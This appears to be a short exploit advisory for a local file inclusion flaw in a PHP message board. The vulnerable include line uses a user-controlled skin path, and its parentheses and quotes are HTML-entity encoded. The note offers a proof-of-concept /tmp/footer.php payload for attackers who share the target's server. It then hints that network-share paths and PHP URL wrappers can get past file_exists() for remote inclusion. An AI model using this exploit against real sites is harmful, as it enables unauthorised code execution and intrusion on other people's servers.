/***** Local File Inclusion Vulnerability


    if&#40;file_exists&#40;$skin_path.&quot;footer.php&quot;&#41;&#41; include&#40;$skin_path.&quot;footer.php&quot;&#41;; //File inclusion



//yeah, there is a problem.. file_exists()! //How can we bypass it? I don`t know :) //If we have account in same server with target, we can attack his board easily //Here is the example :


/tmp/footer.php <? $d = dir("/tmp"); echo "Handle: " . $d->handle . "\n"; echo "Path: " . $d->path . "\n"; while (false !== ($entry = $d->read())) { echo $entry."\n"; } $d->close(); ?>

//Yeah, It is good, But when we don`t account in that server, How we can beat target? //We can find a clue from php.net //On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares. //As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to List of Supported Protocols/Wrappers //for a listing of which wrappers support stat() family of functionality. //Do you find clue too? :-O
